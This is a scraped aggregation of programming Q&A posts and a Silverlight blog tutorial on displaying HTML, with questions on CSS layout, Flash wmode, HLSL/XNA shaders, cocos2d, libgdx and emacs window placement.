id="container"> <script language="javascript"> > matchHeight=function(){ > var divs,contDivs,maxHeight,divHeight,d; > // get all <div> elements in the document > divs=document.getElementsByTagName('div'); > contDivs=[]; > // initialize maximum height value > maxHeight=0; > // iterate over all <div> elements in the document > for(var i=0;i<divs.length;i++){ > // make collection with <div> elements with class attribute > 'container' > if(/\bcontainer\b/.test(divs[i].className)){ > d=divs[i]; > contDivs[contDivs.length]=d; > // determine height for <div> element > if(d.offsetHeight){ > divHeight=d.offsetHeight; > } > else if(d.style.pixelHeight){ > divHeight=d.style.pixelHeight; > } > // calculate maximum height > maxHeight=Math.max(maxHeight,divHeight); > } > } > // assign maximum height value to all of container <div> elements > for(var i=0;i<contDivs.length;i++){ > contDivs[i].style.height=maxHeight; > } > } > // execute function when page loads > window.onload=function(){ > if(document.getElementsByTagName){ > matchHeight(); > } > } > </script> <div id="left"> > <jdoc:include type="modules" name="left" /> </div> <div > id="middle"> > <jdoc:include type="component" /> </div> <div id="right"> > <jdoc:include type="modules" name="right" /> > </div> > </div> > <div id="footer" class="clear"><jdoc:include > type="modules" name="footer" /> > &copy; 2010 NDP Student Council<br > />Website Development Subcommitee > </div> </div> </div> </body> The CSS: > #backdrop { width:100%; height:100%; background: #FFFFFF > url(../images/gradient.jpg) repeat-x; > } > > #wrapper { margin:auto; width:95%; height:95%; border-right:thick solid > black; border-bottom:thick solid > black; border-top:thick solid black; > border-left:thick solid black; > background-color:white; } > > #header { height:131px; width:100%; background-color: #FFFFFF; > border-bottom:thick solid black; } > > #topimage { float:left; height:131px; width:63%; > background-image: > url("../images/ndps2.png"); > background-repeat:no-repeat; } > > #adspace1 { float:right; width:27%; height:131px; } > > #container { clear:both; } > #left{ width:20%; float:left; padding:5px; text-align:center; } > > #middle{ width:60%; padding:5px; text-align:center; } > > #right{ float:right; width:20%; padding:5px; text-align:right; } > #footer { border-top:thick solid black; width:100%; > text-align:center; } .clear { > clear:both; } Here is the CSS for the menu itself, which is from DynamicDrive.com: > .mattblackmenu ul{ margin: 0; padding: > 0; font: bold 12px Verdana; > list-style-type: none; border-bottom: > 1px solid gray; background: #414141; > overflow: hidden; width: 100%; > clear:both; } > > .mattblackmenu li{ display: inline; > margin: 0; } > > .mattblackmenu li a{ float: left; > display: block; text-decoration: none; > margin: 0; padding: 6px 8px; /*padding > inside each tab*/ border-right: 1px > solid white; /*right divider between > tabs*/ color: white; background: > #414141; Thanks for the help!

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  • Integrating HTML into Silverlight Applications

    - by dwahlin
    Looking for a way to display HTML content within a Silverlight application? If you haven’t tried doing that before it can be challenging at first until you know a few tricks of the trade.  Being able to display HTML is especially handy when you’re required to display RSS feeds (with embedded HTML), SQL Server Reporting Services reports, PDF files (not actually HTML – but the techniques discussed will work), or other HTML content.  In this post I'll discuss three options for displaying HTML content in Silverlight applications and describe how my company is using these techniques in client applications. Displaying HTML Overlays If you need to display HTML over a Silverlight application (such as an RSS feed containing HTML data in it) you’ll need to set the Silverlight control’s windowless parameter to true. This can be done using the object tag as shown next: <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"> <param name="source" value="ClientBin/HTMLAndSilverlight.xap"/> <param name="onError" value="onSilverlightError" /> <param name="background" value="white" /> <param name="minRuntimeVersion" value="4.0.50401.0" /> <param name="autoUpgrade" value="true" /> <param name="windowless" value="true" /> <a href="http://go.microsoft.com/fwlink/?LinkID=149156&v=4.0.50401.0" style="text-decoration:none"> <img src="http://go.microsoft.com/fwlink/?LinkId=161376" alt="Get Microsoft Silverlight" style="border-style:none"/> </a> </object> By setting the control to “windowless” you can overlay HTML objects by using absolute positioning and other CSS techniques. Keep in mind that on Windows machines the windowless setting can result in a performance hit when complex animations or HD video are running since the plug-in content is displayed directly by the browser window. It goes without saying that you should only set windowless to true when you really need the functionality it offers. For example, if I want to display my blog’s RSS content on top of a Silverlight application I could set windowless to true and create a user control that grabbed the content and output it using a DataList control: <style type="text/css"> a {text-decoration:none;font-weight:bold;font-size:14pt;} </style> <div style="margin-top:10px; margin-left:10px;margin-right:5px;"> <asp:DataList ID="RSSDataList" runat="server" DataSourceID="RSSDataSource"> <ItemTemplate> <a href='<%# XPath("link") %>'><%# XPath("title") %></a> <br /> <%# XPath("description") %> <br /> </ItemTemplate> </asp:DataList> <asp:XmlDataSource ID="RSSDataSource" DataFile="http://weblogs.asp.net/dwahlin/rss.aspx" XPath="rss/channel/item" CacheDuration="60" runat="server" /> </div> The user control can then be placed in the page hosting the Silverlight control as shown below. This example adds a Close button, additional content to display in the overlay window and the HTML generated from the user control. <div id="RSSDiv"> <div style="background-color:#484848;border:1px solid black;height:35px;width:100%;"> <img alt="Close Button" align="right" src="Images/Close.png" onclick="HideOverlay();" style="cursor:pointer;" /> </div> <div style="overflow:auto;width:800px;height:565px;"> <div style="float:left;width:100px;height:103px;margin-left:10px;margin-top:5px;"> <img src="http://weblogs.asp.net/blogs/dwahlin/dan2008.jpg" style="border:1px solid Gray" /> </div> <div style="float:left;width:300px;height:103px;margin-top:5px;"> <a href="http://weblogs.asp.net/dwahlin" style="margin-left:10px;font-size:20pt;">Dan Wahlin's Blog</a> </div> <br /><br /><br /> <div style="clear:both;margin-top:20px;"> <uc:BlogRoller ID="BlogRoller" runat="server" /> </div> </div> </div> Of course, we wouldn’t want the RSS HTML content to be shown until requested. Once it’s requested the absolute position of where it should show above the Silverlight control can be set using standard CSS styles. The following ID selector named #RSSDiv handles hiding the overlay div shown above and determines where it will be display on the screen. #RSSDiv { background-color:White; position:absolute; top:100px; left:300px; width:800px; height:600px; border:1px solid black; display:none; } Now that the HTML content to display above the Silverlight control is set, how can we show it as a user clicks a HyperlinkButton or other control in the application? Fortunately, Silverlight provides an excellent HTML bridge that allows direct access to content hosted within a page. The following code shows two JavaScript functions that can be called from Siverlight to handle showing or hiding HTML overlay content. The two functions rely on jQuery (http://www.jQuery.com) to make it easy to select HTML objects and manipulate their properties: function ShowOverlay() { rssDiv.css('display', 'block'); } function HideOverlay() { rssDiv.css('display', 'none'); } Calling the ShowOverlay function is as simple as adding the following code into the Silverlight application within a button’s Click event handler: private void OverlayHyperlinkButton_Click(object sender, RoutedEventArgs e) { HtmlPage.Window.Invoke("ShowOverlay"); } The result of setting the Silverlight control’s windowless parameter to true and showing the HTML overlay content is shown in the following screenshot:   Thinking Outside the Box to Show HTML Content Setting the windowless parameter to true may not be a viable option for some Silverlight applications or you may simply want to go about showing HTML content a different way. The next technique I’ll show takes advantage of simple HTML, CSS and JavaScript code to handle showing HTML content while a Silverlight application is running in the browser. Keep in mind that with Silverlight’s HTML bridge feature you can always pop-up HTML content in a new browser window using code similar to the following: System.Windows.Browser.HtmlPage.Window.Navigate( new Uri("http://silverlight.net"), "_blank"); For this example I’ll demonstrate how to hide the Silverlight application while maximizing a container div containing the HTML content to show. This allows HTML content to take up the full screen area of the browser without having to set windowless to true and when done right can make the user feel like they never left the Silverlight application. The following HTML shows several div elements that are used to display HTML within the same browser window as the Silverlight application: <div id="JobPlanDiv"> <div style="vertical-align:middle"> <img alt="Close Button" align="right" src="Images/Close.png" onclick="HideJobPlanIFrame();" style="cursor:pointer;" /> </div> <div id="JobPlan_IFrame_Container" style="height:95%;width:100%;margin-top:37px;"></div> </div> The JobPlanDiv element acts as a container for two other divs that handle showing a close button and hosting an iframe that will be added dynamically at runtime. JobPlanDiv isn’t visible when the Silverlight application loads due to the following ID selector added into the page: #JobPlanDiv { position:absolute; background-color:#484848; overflow:hidden; left:0; top:0; height:100%; width:100%; display:none; } When the HTML content needs to be shown or hidden the JavaScript functions shown next can be used: var jobPlanIFrameID = 'JobPlan_IFrame'; var slHost = null; var jobPlanContainer = null; var jobPlanIFrameContainer = null; var rssDiv = null; $(document).ready(function () { slHost = $('#silverlightControlHost'); jobPlanContainer = $('#JobPlanDiv'); jobPlanIFrameContainer = $('#JobPlan_IFrame_Container'); rssDiv = $('#RSSDiv'); }); function ShowJobPlanIFrame(url) { jobPlanContainer.css('display', 'block'); $('<iframe id="' + jobPlanIFrameID + '" src="' + url + '" style="height:100%;width:100%;" />') .appendTo(jobPlanIFrameContainer); slHost.css('width', '0%'); } function HideJobPlanIFrame() { jobPlanContainer.css('display', 'none'); $('#' + jobPlanIFrameID).remove(); slHost.css('width', '100%'); } ShowJobPlanIFrame() handles showing the JobPlanDiv div and adding an iframe into it dynamically. Once JobPlanDiv is shown, the Silverlight control host has its width set to a value of 0% to allow the control to stay alive while making it invisible to the user. I found that this technique works better across multiple browsers as opposed to manipulating the Silverlight control host div’s display or visibility properties. Now that you’ve seen the code to handle showing and hiding the HTML content area, let’s switch focus to the Silverlight application. As a user clicks on a link such as “View Report” the ShowJobPlanIFrame() JavaScript function needs to be called. The following code handles that task: private void ReportHyperlinkButton_Click(object sender, RoutedEventArgs e) { ShowBrowser(_BaseUrl + "/Report.aspx"); } public void ShowBrowser(string url) { HtmlPage.Window.Invoke("ShowJobPlanIFrame", url); } Any URL can be passed into the ShowBrowser() method which handles invoking the JavaScript function. This includes standard web pages or even PDF files. We’ve used this technique frequently with our SmartPrint control (http://www.smartwebcontrols.com) which converts Silverlight screens into PDF documents and displays them. Here’s an example of the content generated:   Silverlight 4’s WebBrowser Control Both techniques shown to this point work well when Silverlight is running in-browser but not so well when it’s running out-of-browser since there’s no host page that you can access using the HTML bridge. Fortunately, Silverlight 4 provides a WebBrowser control that can be used to perform the same functionality quite easily. We’re currently using it in client applications to display PDF documents, SSRS reports and standard HTML content. Using the WebBrowser control simplifies the application quite a bit since no JavaScript is required if the application only runs out-of-browser. Here’s a simple example of defining the WebBrowser control in XAML. I typically define it in MainPage.xaml when a Silverlight Navigation template is used to create the project so that I can re-use the functionality across multiple screens. <Grid x:Name="WebBrowserGrid" HorizontalAlignment="Stretch" VerticalAlignment="Stretch" Visibility="Collapsed"> <StackPanel HorizontalAlignment="Stretch" VerticalAlignment="Stretch"> <Border Background="#484848" HorizontalAlignment="Stretch" Height="40"> <Image x:Name="WebBrowserImage" Width="100" Height="33" Cursor="Hand" HorizontalAlignment="Right" Source="/HTMLAndSilverlight;component/Assets/Images/Close.png" MouseLeftButtonDown="WebBrowserImage_MouseLeftButtonDown" /> </Border> <WebBrowser x:Name="JobPlanReportWebBrowser" HorizontalAlignment="Stretch" VerticalAlignment="Stretch" /> </StackPanel> </Grid> Looking through the XAML you can see that a close image is defined along with the WebBrowser control. Because the URL that the WebBrowser should navigate to isn’t known at design time no value is assigned to the control’s Source property. If the XAML shown above is left “as is” you’ll find that any HTML content assigned to the WebBrowser doesn’t display properly. This is due to no height or width being set on the control. To handle this issue the following code is added into the XAML’s code-behind file to dynamically determine the height and width of the page and assign it to the WebBrowser. This is done by handling the SizeChanged event. void MainPage_SizeChanged(object sender, SizeChangedEventArgs e) { WebBrowserGrid.Height = JobPlanReportWebBrowser.Height = ActualHeight; WebBrowserGrid.Width = JobPlanReportWebBrowser.Width = ActualWidth; } When the user wants to view HTML content they click a button which executes the code shown in next: public void ShowBrowser(string url) { if (Application.Current.IsRunningOutOfBrowser) { JobPlanReportWebBrowser.NavigateToString("<html><body><iframe src='" + url + "' style='width:100%;height:97%;' /></body></html>"); WebBrowserGrid.Visibility = Visibility.Visible; } else { HtmlPage.Window.Invoke("ShowJobPlanIFrame", url); } } private void WebBrowserImage_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { WebBrowserGrid.Visibility = Visibility.Collapsed; }   Looking through the code you’ll see that it checks to see if the Silverlight application is running out-of-browser and then either displays the WebBrowser control or runs the JavaScript function discussed earlier. Although the WebBrowser control’s Source property could be assigned the URI of the page to navigate to, by assigning HTML content using the NavigateToString() method and adding an iframe, content can be shown from any site including cross-domain sites. This is especially handy when you need to grab a page from a reporting site that’s in a different domain than the Silverlight application. Here’s an example of viewing  PDF file inside of an out-of-browser application. The first image shows the application running out-of-browser before the user clicks a PDF HyperlinkButton.  The second image shows the PDF being displayed.   While there are certainly other techniques that can be used, the ones shown here have worked well for us in different applications and provide the ability to display HTML content in-browser or out-of-browser. Feel free to add a comment if you have another tip or trick you like to use when working with HTML content in Silverlight applications.   Download Code Sample   For more information about onsite, online and video training, mentoring and consulting solutions for .NET, SharePoint or Silverlight please visit http://www.thewahlingroup.com.

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  • Make flash ignore transparent wmode — always display opaque background

    - by Tometzky
    How to make flash movie (an advertising banner) ignore <param name="wmode" value="transparent">? There are some CMS systems which insert flash movies automatically with transparent wmode option. Flash Player ignores banner's background color, makes it transparent and displays it on web page background. I can workaround it using additional layer at the bottom with a large rectangle of desired color, but I think it is inefficient and inelegant. How to do this better?

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  • 2D Mask antialiasing in xna hlsl

    - by mohsen
    I have two texture2d , one of these is a mask texture and have 2kind color and i use that for mask (filter) second texture2D something like float4 tex = tex2D(sprite, texCoord); float4 bitMask = tex2D(mask, texCoord); if (bitMask.a >0) { return float4(0,0,0,0); } else { return float4(tex.b,tex.g,tex.r,1); } but because mask texture is just two color the result is too jagged i want know how i can do some antialiasing for edges that smooth these ty for reading and sry for my bad english

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  • cocos2d fragment shader transparency

    - by fiddler
    I'm playing with custom fragment shaders for a CCSprite (see http://www.raywenderlich.com/4428/how-to-mask-a-sprite-with-cocos2d-2-0). But I can't figure out why I get a white color whith the following line: gl_FragColor = vec4(1.0,1.0,1.0,0.0); Whereas I have a transparent color with this: gl_FragColor = vec4(0.0,0.0,0.0,0.0); Shouln't I have a transparent sprite in both cases ? (alpha channel is null, right ?)

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  • css: zoooming-out inside the browser moves rightmost floated div below other divs

    - by John Sonderson
    I am seeing something strange in both firefox and chrome when I increase the zoom level inside these browsers, although I see nothing wrong with my CSS... I am hoping someone on this group will be able to help. Here is the whole story: I have a right-floated top-level div containing three right-floated right. The three inner divs have all box-model measurements in pixels which add up to the width of the enclosing container. Everything looks fine when the browser size is 100%, but when I start making the browser smaller with CTRL+scrollwheel or CTRL+minus the rightmost margin shrinks down too fast and eventually becomes zero, forcing my rightmost floated inner div to fall down below the other two! I can't make sense out of this, almost seems like some integer division is being performed incorrectly in the browser code, but alas firefox and chrome both display the same result. Here is the example (just zoom out with CTRL-minus to see what I mean): Click Here to View What I Mean on Example Site Just to narrow things down a bit, the tags of interest are the following: div#mainContent div#contentLeft div#contentCenter div#contentRight I've searched stackoverflow for an answer and found the following posts which seem related to my question but was not able to apply them to the problem I am experiencing: http:// stackoverflow.com/questions/6955313/div-moves-incorrectly-on-browser-resize http:// stackoverflow.com/questions/18246882/divs-move-when-resizing-page http:// stackoverflow.com/questions/17637231/moving-an-image-when-browser-resizes http:// stackoverflow.com/questions/5316380/how-to-stop-divs-moving-when-the-browser-is-resized I've duplicated the html and css code below for your convenience: Here is the HTML: <!doctype html> <html> <head> <meta charset="utf-8"> <title>Pinco</title> <link href="css/style.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <header> <div class="logo"> <a href="http://pinco.com"> <img class="logo" src="images/PincoLogo5.png" alt="Pinco" /> </a> </div> <div class="titolo"> <h1>Benvenuti!</h1> <h2>Siete arrivati al sito pinco.</h2> </div> <nav> <ul class="menu"> <li><a href="#">Menù Qui</a></li> <li><a href="#">Menù Quo</a></li> <li><a href="#">Menù Qua</a></li> </ul> </nav> </header> <div id="mainContent"> <div id="contentLeft"> <section> <article> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque tempor turpis est, nec varius est pharetra scelerisque. Sed eu pellentesque purus, at cursus nisi. In bibendum tristique nunc eu mattis. Nulla pretium tincidunt ipsum, non imperdiet metus tincidunt ac. In et lobortis elit, nec lobortis purus. Cras ac viverra risus. Proin dapibus tortor justo, a vulputate ipsum lacinia sed. In hac habitasse platea dictumst. Phasellus sit amet malesuada velit. Fusce diam neque, cursus id dui ac, blandit vehicula tortor. Phasellus interdum ipsum eu leo condimentum, in dignissim erat tincidunt. Ut fermentum consectetur tellus, dignissim volutpat orci suscipit ac. Praesent scelerisque urna metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis pulvinar, sem a sodales eleifend, odio elit blandit risus, a dapibus ligula orci non augue. Nullam vitae cursus tortor, eget malesuada lectus. Nulla facilisi. Cras pharetra nisi sit amet orci dignissim, a eleifend odio hendrerit. </p> </article> </section> </div> <div id="contentCenter"> <section> <article> <p> Maecenas vitae purus at orci euismod pretium. Nam gravida gravida bibendum. Donec nec dolor vel magna consequat laoreet in a urna. Phasellus cursus ultrices lorem ut sagittis. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Vivamus purus felis, ornare quis ante vel, commodo scelerisque tortor. Integer vel facilisis mauris. </p> <img src="images/auto1.jpg" width="272" height="272" /> <p> In urna purus, fringilla a urna a, ultrices convallis orci. Duis mattis sit amet leo sed luctus. Donec nec sem non nunc mattis semper quis vitae enim. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Suspendisse dictum porta quam, vel lobortis enim bibendum et. Donec iaculis tortor id metus interdum, hendrerit tincidunt orci tempor. Sed dignissim cursus mattis. </p> </article> </section> </div> <div id="contentRight"> <section> <article> <img src="images/auto2.jpg" width="272" height="272" /> <img src="images/auto3.jpg" width="272" height="272" /> <p> Cras eu quam lobortis, sodales felis ultricies, rhoncus neque. Aenean nisi eros, blandit ac lacus sit amet, vulputate sodales mi. Nunc eget purus ultricies, aliquam quam sit amet, porttitor velit. In imperdiet justo in quam tristique, eget semper nisi pellentesque. Cras fringilla eros enim, in euismod nisl imperdiet ac. Fusce tempor justo vitae faucibus luctus. </p> </article> </section> </div> </div> <footer> <div class="footerText"> <p> Copyright &copy; Pinco <br />Lorem ipsum dolor sit amet, consectetur adipiscing elit. <br />Fusce ornare turpis orci, nec egestas leo feugiat ac. <br />Morbi eget sem facilisis, laoreet erat ut, tristique odio. Proin sollicitudin quis nisi id consequat. </p> </div> <div class="footerLogo"> <img class="footerLogo" src="images/auto4.jpg" width="80" height="80" /> </div> </footer> </div> </body> </html> and here is the CSS: /* CSS Document */ * { margin: 0; border: 0; padding: 0; } body { background: #8B0000; /* darkred */; } body { margin: 0; border: 0; padding: 0; } div#wrapper { margin: 0 auto; width: 960px; height: 100%; background: #FFC0CB /* pink */; } header { position: relative; background: #005b97; height: 140px; } header div.logo { float: left; width: 360px; height: 140px; } header div.logo img.logo { width: 360px; height: 140px; } header div.titolo { float: left; padding: 12px 0 0 35px; color: black; } header div.titolo h1 { font-size: 36px; font-weight: bold; } header div.titolo h2 { font-size: 24px; font-style: italic; font-weight: bold; color: white;} header nav { position: absolute; right: 0; bottom: 0; } header ul.menu { background: black; } header ul.menu li { display: inline-block; padding: 3px 15px; font-weight: bold; } div#mainContent { float: left; width: 100%; /* width: 960px; *//* height: 860px; */ padding: 30px 0; text-align: justify; } div#mainContent img { margin: 12px 0; } div#contentLeft { height: 900px; float: left; margin-left: 12px; border: 1px solid black; padding: 15px; width: 272px; background: #ccc; } div#contentCenter { height: 900px; float: left; margin-left: 12px; border: 1px solid transparent; padding: 15px; width: 272px; background: #E00; } div#contentRight { height: 900px; float: left; margin-left: 12px; border: 1px solid black; padding: 15px; width: 272px; background: #ccc; } footer { clear: both; padding: 12px; background: #306; color: white; height: 80px; font-style: italic; font-weight: bold; } footer div.footerText { float: left; } footer div.footerLogo { float: right; } a { color: white; text-decoration: none; } Thanks.

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  • Why is a fully transparent pixel still rendered?

    - by Mr Bell
    I am trying to make a pixel shader that achieves an effect similar to this video http://www.youtube.com/watch?v=f1uZvurrhig&feature=related My basic idea is render the scene to a temp render target then Render the previously rendered image with a slight fade on to another temp render target Draw the current scene on top of that Draw the results on to a render target that persists between draws Draw the results on to the screen But I am having problems with the fading portion. If I have my pixel shader return a color with its A component set to 0, shouldn't that basically amount to drawing nothing? (Assuming that sprite batch blend mode is set to AlphaBlend) To test this I have my pixel shader return a transparent red color. Instead of nothing being drawn, it draws a partially transparent red box. I hope that my question makes sense, but if it doesnt please ask me to clarify Here is the drawing code public override void Draw(GameTime gameTime) { GraphicsDevice.SamplerStates[1] = SamplerState.PointWrap; drawImageOnClearedRenderTarget(presentationTarget, tempRenderTarget, fadeEffect); drawImageOnRenderTarget(sceneRenderTarget, tempRenderTarget); drawImageOnClearedRenderTarget(tempRenderTarget, presentationTarget); GraphicsDevice.SetRenderTarget(null); drawImage(backgroundTexture); drawImage(presentationTarget); base.Draw(gameTime); } private void drawImage(Texture2D image, Effect effect = null) { spriteBatch.Begin(0, BlendState.AlphaBlend, SamplerState.PointWrap, null, null, effect); spriteBatch.Draw(image, new Rectangle(0, 0, width, height), Color.White); spriteBatch.End(); } private void drawImageOnRenderTarget(Texture2D image, RenderTarget2D target, Effect effect = null) { GraphicsDevice.SetRenderTarget(target); drawImage(image, effect); } private void drawImageOnClearedRenderTarget(Texture2D image, RenderTarget2D target, Effect effect = null) { GraphicsDevice.SetRenderTarget(target); GraphicsDevice.Clear(Color.Transparent); drawImage(image, effect); } Here is the fade pixel shader sampler TextureSampler : register(s0); float4 PixelShaderFunction(float2 texCoord : TEXCOORD0) : COLOR0 { float4 c = 0; c = tex2D(TextureSampler, texCoord); //c.a = clamp(c.a - 0.05, 0, 1); c.r = 1; c.g = 0; c.b = 0; c.a = 0; return c; } technique Fade { pass Pass1 { PixelShader = compile ps_2_0 PixelShaderFunction(); } }

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  • Sprite sheets, Clamp or Wrap?

    - by David
    I'm using a combination of sprite sheets for well, sprites and individual textures for infinite tiling. For the tiling textures I'm obviously using Wrap to draw the entire surface in one call but up until now I've been making a seperate batch using Clamp for drawing sprites from the sprite sheets. The sprite sheets include a border (repeating the edge pixels of each sprite) and my code uses the correct source coordinates for sprites. But since I'm never giving coordinates outside of the texture when drawing sprites (and indeed the border exists to prevent bleed over when filtering) it's struck me that I'd be better off just using Wrap so that I can combine everything into one batch. I just want to be sure that I haven't overlooked something obvious. Is there any reason that Wrap would be harmful when used with a sprite sheet?

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  • Parabolic throw with set Height and range (libgdx)

    - by Tauboga
    Currently i'm working on a minigame for android where you have a rotating ball in the center of the display which jumps when touched in the direction of his current angle. I'm simply using a gravity vector and a velocity vector in this way: positionBall = positionBall.add(velocity); velocity = velocity.add(gravity); and velocity.x = (float) Math.cos(angle) * 12; /* 12 to amplify the velocity */ velocity.y = (float) Math.sin(angle) * 15; /* 15 to amplify the velocity */ That works fine. Here comes the problem: I want to make the jump look the same on all possible resolutions. The velocity needs to be scaled in a way that when the ball is thrown straight upwards it will touch the upper display border. When thrown directly left or right the range shall be exactly long enough to touch the left/right display border. Which formula(s) do I need to use and how to implement them correctly? Thanks in advance!

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  • Pixel Shader Giving Black output

    - by Yashwinder
    I am coding in C# using Windows Forms and the SlimDX API to show the effect of a pixel shader. When I am setting the pixel shader, I am getting a black output screen but if I am not using the pixel shader then I am getting my image rendered on the screen. I have the following C# code using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; using System.Runtime.InteropServices; using SlimDX.Direct3D9; using SlimDX; using SlimDX.Windows; using System.Drawing; using System.Threading; namespace WindowsFormsApplication1 { // Vertex structure. [StructLayout(LayoutKind.Sequential)] struct Vertex { public Vector3 Position; public float Tu; public float Tv; public static int SizeBytes { get { return Marshal.SizeOf(typeof(Vertex)); } } public static VertexFormat Format { get { return VertexFormat.Position | VertexFormat.Texture1; } } } static class Program { public static Device D3DDevice; // Direct3D device. public static VertexBuffer Vertices; // Vertex buffer object used to hold vertices. public static Texture Image; // Texture object to hold the image loaded from a file. public static int time; // Used for rotation caculations. public static float angle; // Angle of rottaion. public static Form1 Window =new Form1(); public static string filepath; static VertexShader vertexShader = null; static ConstantTable constantTable = null; static ImageInformation info; [STAThread] static void Main() { filepath = "C:\\Users\\Public\\Pictures\\Sample Pictures\\Garden.jpg"; info = new ImageInformation(); info = ImageInformation.FromFile(filepath); PresentParameters presentParams = new PresentParameters(); // Below are the required bare mininum, needed to initialize the D3D device. presentParams.BackBufferHeight = info.Height; // BackBufferHeight, set to the Window's height. presentParams.BackBufferWidth = info.Width+200; // BackBufferWidth, set to the Window's width. presentParams.Windowed =true; presentParams.DeviceWindowHandle = Window.panel2 .Handle; // DeviceWindowHandle, set to the Window's handle. // Create the device. D3DDevice = new Device(new Direct3D (), 0, DeviceType.Hardware, Window.Handle, CreateFlags.HardwareVertexProcessing, presentParams); // Create the vertex buffer and fill with the triangle vertices. (Non-indexed) // Remember 3 vetices for a triangle, 2 tris per quad = 6. Vertices = new VertexBuffer(D3DDevice, 6 * Vertex.SizeBytes, Usage.WriteOnly, VertexFormat.None, Pool.Managed); DataStream stream = Vertices.Lock(0, 0, LockFlags.None); stream.WriteRange(BuildVertexData()); Vertices.Unlock(); // Create the texture. Image = Texture.FromFile(D3DDevice,filepath ); // Turn off culling, so we see the front and back of the triangle D3DDevice.SetRenderState(RenderState.CullMode, Cull.None); // Turn off lighting D3DDevice.SetRenderState(RenderState.Lighting, false); ShaderBytecode sbcv = ShaderBytecode.CompileFromFile("C:\\Users\\yashwinder singh\\Desktop\\vertexShader.vs", "vs_main", "vs_1_1", ShaderFlags.None); constantTable = sbcv.ConstantTable; vertexShader = new VertexShader(D3DDevice, sbcv); ShaderBytecode sbc = ShaderBytecode.CompileFromFile("C:\\Users\\yashwinder singh\\Desktop\\pixelShader.txt", "ps_main", "ps_3_0", ShaderFlags.None); PixelShader ps = new PixelShader(D3DDevice, sbc); VertexDeclaration vertexDecl = new VertexDeclaration(D3DDevice, new[] { new VertexElement(0, 0, DeclarationType.Float3, DeclarationMethod.Default, DeclarationUsage.PositionTransformed, 0), new VertexElement(0, 12, DeclarationType.Float2 , DeclarationMethod.Default, DeclarationUsage.TextureCoordinate , 0), VertexElement.VertexDeclarationEnd }); Application.EnableVisualStyles(); MessagePump.Run(Window, () => { // Clear the backbuffer to a black color. D3DDevice.Clear(ClearFlags.Target | ClearFlags.ZBuffer, Color.Black, 1.0f, 0); // Begin the scene. D3DDevice.BeginScene(); // Setup the world, view and projection matrices. //D3DDevice.VertexShader = vertexShader; //D3DDevice.PixelShader = ps; // Render the vertex buffer. D3DDevice.SetStreamSource(0, Vertices, 0, Vertex.SizeBytes); D3DDevice.VertexFormat = Vertex.Format; // Setup our texture. Using Textures introduces the texture stage states, // which govern how Textures get blended together (in the case of multiple // Textures) and lighting information. D3DDevice.SetTexture(0, Image); // Now drawing 2 triangles, for a quad. D3DDevice.DrawPrimitives(PrimitiveType.TriangleList , 0, 2); // End the scene. D3DDevice.EndScene(); // Present the backbuffer contents to the screen. D3DDevice.Present(); }); if (Image != null) Image.Dispose(); if (Vertices != null) Vertices.Dispose(); if (D3DDevice != null) D3DDevice.Dispose(); } private static Vertex[] BuildVertexData() { Vertex[] vertexData = new Vertex[6]; vertexData[0].Position = new Vector3(-1.0f, 1.0f, 0.0f); vertexData[0].Tu = 0.0f; vertexData[0].Tv = 0.0f; vertexData[1].Position = new Vector3(-1.0f, -1.0f, 0.0f); vertexData[1].Tu = 0.0f; vertexData[1].Tv = 1.0f; vertexData[2].Position = new Vector3(1.0f, 1.0f, 0.0f); vertexData[2].Tu = 1.0f; vertexData[2].Tv = 0.0f; vertexData[3].Position = new Vector3(-1.0f, -1.0f, 0.0f); vertexData[3].Tu = 0.0f; vertexData[3].Tv = 1.0f; vertexData[4].Position = new Vector3(1.0f, -1.0f, 0.0f); vertexData[4].Tu = 1.0f; vertexData[4].Tv = 1.0f; vertexData[5].Position = new Vector3(1.0f, 1.0f, 0.0f); vertexData[5].Tu = 1.0f; vertexData[5].Tv = 0.0f; return vertexData; } } } And my pixel shader and vertex shader code are as following // Pixel shader input structure struct PS_INPUT { float4 Position : POSITION; float2 Texture : TEXCOORD0; }; // Pixel shader output structure struct PS_OUTPUT { float4 Color : COLOR0; }; // Global variables sampler2D Tex0; // Name: Simple Pixel Shader // Type: Pixel shader // Desc: Fetch texture and blend with constant color // PS_OUTPUT ps_main( in PS_INPUT In ) { PS_OUTPUT Out; //create an output pixel Out.Color = tex2D(Tex0, In.Texture); //do a texture lookup Out.Color *= float4(0.9f, 0.8f, 0.0f, 1); //do a simple effect return Out; //return output pixel } // Vertex shader input structure struct VS_INPUT { float4 Position : POSITION; float2 Texture : TEXCOORD0; }; // Vertex shader output structure struct VS_OUTPUT { float4 Position : POSITION; float2 Texture : TEXCOORD0; }; // Global variables float4x4 WorldViewProj; // Name: Simple Vertex Shader // Type: Vertex shader // Desc: Vertex transformation and texture coord pass-through // VS_OUTPUT vs_main( in VS_INPUT In ) { VS_OUTPUT Out; //create an output vertex Out.Position = mul(In.Position, WorldViewProj); //apply vertex transformation Out.Texture = In.Texture; //copy original texcoords return Out; //return output vertex }

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  • Window decoration of emacs23 window on fluxbox is outside screen

    - by mit
    I am starting emacs remotely over an ssh connection. But on the emacs window I cannot find a way to resize or move it. There is no fluxbox title bar visible, and I guess the title bar is above the visible viewport, because emacs starts vertically with more height than the screen has. The lower border of the emacs window is also below the viewport border, so I cannot resize the window. I am starting emacs like this: emacs23 This is the emacs version: This is GNU Emacs 23.1.1 (x86_64-pc-linux-gnu, GTK+ Version 2.20.0) of 2010-03-29 on yellow, modified by Debian The remote system that runs emacs is 10.04 Lucid Lynx amd64. The local system is running 9.10 Karmic Koala 32 bit and Fluxbox 1.1.1-2

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  • Draw a never-ending line in XNA

    - by user2236165
